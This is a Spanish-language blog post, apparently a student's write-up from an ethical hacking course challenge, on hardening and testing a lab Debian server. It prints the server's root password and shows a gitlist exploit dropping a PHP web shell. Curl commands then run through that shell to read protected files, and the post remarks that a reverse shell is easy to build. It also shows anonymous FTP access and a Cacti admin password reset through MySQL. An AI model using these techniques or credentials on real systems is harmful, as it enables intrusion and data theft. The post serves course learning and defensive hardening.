viernes, 23 de octubre de 2015

Tarea Final

ATRIBUTOS
Se ha realizado la Tarea 2 de la Unidad 1 (buscar, compartir y comentar en el blog recursos sobre hacking y seguridad informática).

HACKER ETICO UNIDAD 1 TAREA 1 Y TAREA 2


PRACTICA SOBRE CRIPTOGRAFIA TAREA 3


 Se ha realizado la Tarea 4 de la Unidad 2 (reflexión sobre las tareas técnicas, tareas 1 y 2, así como de la actividad de debate, tarea 3)


CAPTURANDO TRAFICO CON WIRESHARK TAREA 1


SQL injection TRAEA 2


Debate sobre ética del hacker TAREA 3





Se ha resuelto el ENIGMA planteado en la Unidad 2 y hay evidencias de ello en el artículo (como una descripción con detalle de cómo se realizó)


El/la autor/a ha participado en el RETO, formando parte de algún equipo y desarrollando las dos fases previstas, para la cual se recogen evidencias sobre el trabajo realizado durante esa fase.


miembros de equipo para la batalla.

DATOS DEL SERVIDOR

Hola Edward,

Soy Miguel Fernández, coordinador del MOOC sobre Hacking Ético de Mondragon Unibertsitatea. Enhorabuena por llegar hasta el reto!

Te paso los datos para que tú y tu equipo podáis empezar a trabajar protegiendo vuestro servidor:
Dirección IP del servidor: 178.62.203.8
Contraseña del usuario root: 1f62e8b89c24fdb4c8389b07c2b51579

El servidor es una máquina Debian Wheezy de 32 bits en modo solo texto. Para acceder a ella debéis usar SSH (no tiene telnet instalado).

Servidor:

IP propiedad de Digital Ocean https://www.digitalocean.com
Debian 7.9 (cat /etc/debian_version)
Cacti 0.8.8a+dfsg-5+deb7u2 (apt-cache show cacti|grep Vers) (ver https://www.cvedetails.com/vulnerability-list/vendor_id-7458/Cacti.html version 0.8.8.a tiene un sql injection bug http://www.cacti.net/changelog.php http://www.scip.ch/en/?vuldb.64752)
vsftpd 2.3.5 (vsftpd -v)
gitlist

Dado que el concejo dijo que que iban a haber una serie de archivos interesantes que deberíamos proteger busqué los archivos que se crearon en los últimos 6 días (desde la creación del servidor mas o menos,) y encontre estos 3

Pasos:
mandé todo al archivo files_6_days
cat file |grep -v ^/dev |grep -v ^/proc > files_6_days
3-Luego con less fui leyendo el archivo de a poco y estos captaron mi atención

/usr/share/doc/base-files/mooc-hacking-team-0017-level-01.gpg
/srv/ftp/mooc-hacking-team-0017-level-02.gpg
/var/lib/mysql/mooc-hacking-team-0017-level-03.gpg

son 3 mensajes cifrados con gpg. Es probable que los archivos se puedan leer con la vulnerabilidad de gitlist, aunque aún no lo probé.

Fortalecer el firewall entrada y salida.
Ips con fail2ban para detectar y frenar herramientas conocidas.

VULNERABILIDADES ENCONTRADAS

  • GITLIST


PRUEBA

juan@moon:~$ python Descargas/68253.py http://178.62.203.8/gitlist/demo-repository
[!] Using cache location /var/www/gitlist/cache
[!] Shell dropped; go hit http://178.62.203.8/gitlist/cache/x.php?cmd=ls
juan@moon:~$

Prueba 1, listado del directorio donde está uno de los archivos que debemos proteger:
gfs@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=ls%20%2Fusr%2Fshare%2Fdoc%2Fbase-files%2F
FAQ
README
README.FHS
changelog.gz
copyright
mooc-hacking-team-0017-level-01.gpg
gfs@moon:~/Descargas$

Prueba 2, captura del archivo 01!!!
juan@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=cat%20%2Fusr%2Fshare%2Fdoc%2Fbase-files%2Fmooc-hacking-team-0017-level-01.gpg
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1

hQEMAwTqD96R8ATzAQgAwlAlWlaqTNSHZcxCH+hd2t0l2KYVolYD0D/ax6QPaj9Q
rH0xjHTSPlQDADMclzGXmJwDutMf/taxolLNXJTQR23eTB3mubvon9OxZoKt1+9z
M4XtIAXDynWDV/It6SdFrmxwFYm6jt6gDELHXq66rd7gklmxJs1DO6srWei3//k3
zLs4tRgyGkKDI+NwRszKz9nrN1Alvywk9sFji57HdvOxHkOFr7M81ANL9MGvMuFV
ftu9v0lueGipbdZHd2pgHp3M5rAE2F2/QdqcaACgpBo3l6NR4YbLRd8kNA/LvhO5
G7s4tpqXO9rzU3DrkDOWC8Ua+YVeqhM2x9h6ykACUdLA6QFKMc9sL3kCH1s8nmkq
9uPnUGN0J8RitOnyJxT11KFKwTufOEmbmbvdc+TAYMfcn4bMBxAUzxUk+7t37qJo
KAos4ei0OvdPQv0uoYonVIvPonIeGRnAAm8hSqDptWiP3vaY9AGmpfvp9bQxoC1k
d0lGoIbdeGT5wc2NYx/1ox02stjE/FnpP/M+6gKoIozYwdntg1deS2CnKvtX1POt
t7rMHVJH7KMCNyhvc0OD+0ocfJ3Y1RNxT3oaV2iTcCborO9SWBHXSi4P7yp+6z6W
NS9SPNCL4f0S1iLjOzujAvhavgQt3bvH8e356z1UqmkyU529hkWzsKob3gjzqfnA
1VLqRZ6OBk9DqPlT0OeCm+bWJ15BVR5jGAcHD/qcI7NiUMY7KSxygDp2dWsvF0/d
0f+CmP4boMkk0hbhFaGPLjynAB/rk4aF0Xbk8x9DLeNfeZmjnHTNO2dLuUZyLDVZ
3RadFAv8d6XbNsQnHTtMUHmGJ7BQMnbUw2HvsjW5NYFMOD+ascTqg2lsGaYJJviB
D6gafIfOoXX19cjhKJr9/izla+J2kEM61D13
=sZgb
-----END PGP MESSAGE-----
juan@moon:~/Descargas$

Prueba 3, captura del archivo 02
juan@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=cat%20%2Fsrv%2Fftp%2Fmooc-hacking-team-0017-level-02.gpg%0A
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1

hQEMAwTqD96R8ATzAQgAmhc3VjnsxbxACjELM1Eo/fA4LYqDcRwb21jUemadxlzu
4o2+pbLEj2L1Rx3sBcsUZKitEcOTcRH3a7t1kxGUaI/Wm7vNpc33hcHGmeaqfM0d
ZqpSslCGmWROdcqgrarjbw/xHfW2LOHGtOaz9zbUSHLXpK8Hzin2UmXVW7ZHCQY3
Npg3aGnkkCfRQwztYD41KAsLGRM48PHHpWYVBazgvlBIazzbHcRjhhEmoyx/3cAz
AvHpPcG4gedy4iDiCP3suPZQznY8CX/mqA1ug4zoqQrcjw9HdzXtS3XCbJJRVNTf
CH7UQWlBWCKlNIPuhI46wes+6G4+rB5J3AGh5jMpY9LA6QGc7z4bdMeDvVRzjUBz
YBFBGaLEqjsyqE38lJ9lZBqJQyPHOK2q+4zojQYuVJuZvpVGw2iFXruMrfFvM7+r
52iO53CovVx9ZXvHZWCPVSbtYi1IoUUyAg3rY+/Ynd7MIKDlVMPsU8FYCiODNsl/
mvCAAyTlkefIPUmxCAKsgp0UJ5VQYOeJmxFGSZjyzbFpHiAwN5TT1f/B4tTqAkmk
WMLxlveZaaQDY3ZQhBn2DMHGaCZE5B1oKx7QaopLBU/79kqPxD5upq4KCw6hrXcB
0swI9ol4KiUZcf7wsBsm7+1R5bWlHV+oTlT2by+5KwZlJJOSpFxFcIWfn/O9a7GP
D+5RwxZpI2wlGSmU1uTquw0GMmnUcTR91XpnQxzAPMeJuMsMQntxY7Yf0HlUZlPY
+BkLJJTKM+By+wG4Gmdv5hqAxYZfCc21AkaezIVGbVgDxabJtdcz7eboCWxOKrWc
6jZae4eFEDTBtLzlg1gmqrhEj3SWdy1KWNXgVnwt/JTpfXaGsXXyzU/l3elMZQk3
IQiy/HjDLRgyzmDB9wicTY57TlbpBuqUzxF6
=60Ro
-----END PGP MESSAGE-----
juan@moon:~/Descargas$

Prueba 4, el archivo 03 no se puede recuperar porque no tiene permiso de lectura para todo el mundo, sino solo para el usuario y grupo mysql (ls -lah /var/lib/mysql/)

juan@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=cat%20%2Fvar%2Flib%2Fmysql%2Fmooc-hacking-team-0017-level-03.gpg
juan@moon:~/Descargas$
juan@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=ls%20-la%20%2Fvar%2Flib%2Fmysql%2Fmooc-hacking-team-0017-level-03.gpg
-rw-r----- 1 mysql mysql 1026 Oct  5 17:28 /var/lib/mysql/mooc-hacking-team-0017-level-03.gpg
juan@moon:~/Descargas$

Prueba 5, vemos que el servidor web corre con el usuario www-data, por lo tanto podria ser medio restringido.

gfs@moon:~/Descargas$ curl http://178.62.203.8/gitlist/cache/x.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
gfs@moon:~/Descargas$

Luego desde el browser entrando a http://178.62.203.8/gitlist/cache/x.php?cmd=ls se podrá ver el listado del directorio, con esto se puede armar fácilmente un reverse shell!!!

Solucion: Parche en versión 0.5 http://gitlist.org/

  • VSFTPD

Vulnerabilidad VSFTPD (muy mala configuración), usuario anónimo permitido y con acceso de lectura a uno de los archivos claves.

Prueba:

juan@moon:~$ ftp
ftp> open 178.62.203.8
Connected to 178.62.203.8.
220 (vsFTPd 2.3.5)
Name (178.62.203.8:juan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0     0         1026 Oct 05 17:28 mooc-hacking-team-0017-level-02.gpg
226 Directory send OK.
ftp> quit
221 Goodbye.
juan@moon:~$

SOLUCIÓN PROPUESTA: desactivar el usuario anónimo o quitar el archivo de allí. El archivo de configuración /etc/vsftpd.conf dice:

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES

por lo tanto podemos asumir que lo habilitaron adrede y se puede deshabilitar con anonymous_enable=NO

Modificación configuración del servidor VSFTPD

listen=NO # -> Escucha el FTP?
Listen_ipv6=NO # -> Escucha el FTP por IPV6?
anonymous_enable=NO # -> No permitir los anónimos
local_enable=YES # -> Los usuarios locales pueden acceder?
write_enable=YES # -> Pueden escribir
local_umask=022 # -> Buscar informacion
anon_upload_enable=NO # -> No permito subidas anónimas
anon_mkdir_write_enable=NO # -> No permitido crear carpetas a los anónimos
dirmessage_enable=YES # -> Muestro los mensajes a los usuarios cuando acceden a las carpetas?
use_localtime=YES # -> Muestro fecha-hora local de los usuarios?
xferlog_enable=YES # -> Activo o no el log de subidas y bajadas?
connect_from_port_20=NO # -> No conecta el FTP al puerto 20
xferlog_file=/var/log/vsftpd.log # -> Guardo el log de subidas y bajadas?
idle_session_timeout=600 # -> duración de la sesion (segundos)
data_connection_timeout=120 # -> Cierre de sesión de inactividad (segundos)
ftpd_banner=Mensaje de Bienvenida # -> El mensaje de bienvenida del FTP
# chroot_local_user=YES # -> Para solo mostrar el Home.
chroot_list_enable=YES # -> Lista de usuarios enjaulados, ok!
chroot_list_file=/etc/vsftpd.chroot_list # -> Cuales son los usuarios que van acceder al FTP, locales! hay que crear este archivo y poner el nombre del usuario dentro.
secure_chroot_dir=/var/run/vsftpd/empty # -> Buscar info :D
listen_port=8052 # -> Para conectar al FTP lo cambie por el 8052 para no dejar los que están por defecto que son 20 y 21.
pasv_min_port=40001 # -> Cuando entra en modo pasivo específico un rango de puertos solamente y no TODA la gama!
pasv_max_port=40021 # -> El tope!
ssl_enable=YES # -> Habilita el soporte de TLS/SSL
allow_anon_ssl=NO # -> Deshabilita o habilita utilizar TLS/SSL con usuarios anónimos.

  • CACTI

Dado que no tenemos el password de cacti pero si tenemos acceso de lectura/escritura a la BD (credenciales en /usr/share/cacti/site/include/config.php), cambie el password del usuario admin (viejo valor del campo password 3b280b3b5e456320e70a344dfae518b8) por VXlsgYs2 (7fe3df28c087bc12674b3809dad7c3aa). Ahora se puede acceder a cacti con usuario admin y password VXlsgYs2.

gfs@moon:~$ php -a
Interactive mode enabled

php > print md5("VXlsgYs2")."\n";
7fe3df28c087bc12674b3809dad7c3aa
php > quit
gfs@moon:~$


root@team-0017:~# mysql -u cacti -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1890
Server version: 5.5.44-0+deb7u1 (Debian)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from user_auth;
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
| id | username | password                      | realm | full_name | must_change_password | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled |
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
|  1 | admin | 3b280b3b5e456320e70a344dfae518b8 | 0 | Administrator |                   | on     | on     | on        | on          |       1 |          1 |         1 |         1 |                   1 | on   |
|  3 | guest | 43e9a4ab75570f5b              | 0 | Guest Account | on                | on     | on     | on        | on          |       3 |          1 |         1 |         1 |                   1 |      |
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
2 rows in set (0.00 sec)

mysql> update user_auth set password="7fe3df28c087bc12674b3809dad7c3aa" where username like "admin";
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from user_auth where id=1;
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
| id | username | password                      | realm | full_name | must_change_password | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled |
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
|  1 | admin | 7fe3df28c087bc12674b3809dad7c3aa | 0 | Administrator |                   | on     | on     | on        | on          |       1 |          1 |         1 |         1 |                   1 | on   |
+----+----------+----------------------------------+-------+---------------+----------------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+
1 row in set (0.00 sec)

mysql>
PROBLEMAS!!!!!!! LEER

Hubo 10812 intentos fallidos de autenticación de la ip siguiente, por si las dudas instalé fail2ban para frenar estas cosas, dado que hay ciertos rumores de gente atancando antes de lo previsto:

root@team-0017:~# grep -c "Failed password for root from 43.229.53.22" /var/log/auth.log
10812
root@team-0017:~# apt-get install fail2ban

Cuidado porque con más de 4 intentos fallidos serán bloqueados por 10 minutos.

AL MENOS DOS PERSONAS DESCARGARON UNO DE LOS ARCHIVOS SECRETOS, ALGUNO DE USTEDES HIZO ESTO? SI NINGUNO DE USTEDES LO HIZO TENEMOS UNA FUGA Y ALGUIEN VIOLÓ LAS REGLAS PROPUESTAS POR EL CONSEJO.

root@team-0017:/etc/fail2ban# grep -i download /var/log/vsftpd.log
Thu Oct  8 22:49:38 2015 [pid 3] [ftp] OK DOWNLOAD: Client "::ffff:83.213.88.126", "/mooc-hacking-team-0017-level-02.gpg", 1026 bytes, 9.24Kbyte/sec
Fri Oct  9 14:03:01 2015 [pid 3] [ftp] OK DOWNLOAD: Client "::ffff:191.100.85.129", "/mooc-hacking-team-0017-level-02.gpg", 1026 bytes, 2.51Kbyte/sec
root@team-0017:/etc/fail2ban#

LA PRIMER IP ES DE ESPAÑA (EUSKATEL ISP) MIENTRAS QUE LA SEGUNDA PARECE SER DE ECUADOR.

Volviendo a cacti, nosotros tenemos la version 0.8.8a+dfsg-5+deb7u2 instalada (está disponible para actualizar la version 0.8.8a+dfsg-5+deb7u6 lo tedriamos que hacer antes de que comience la guerra). La versión que tenemos no tiene parche para las siguientes vulnerabilidades: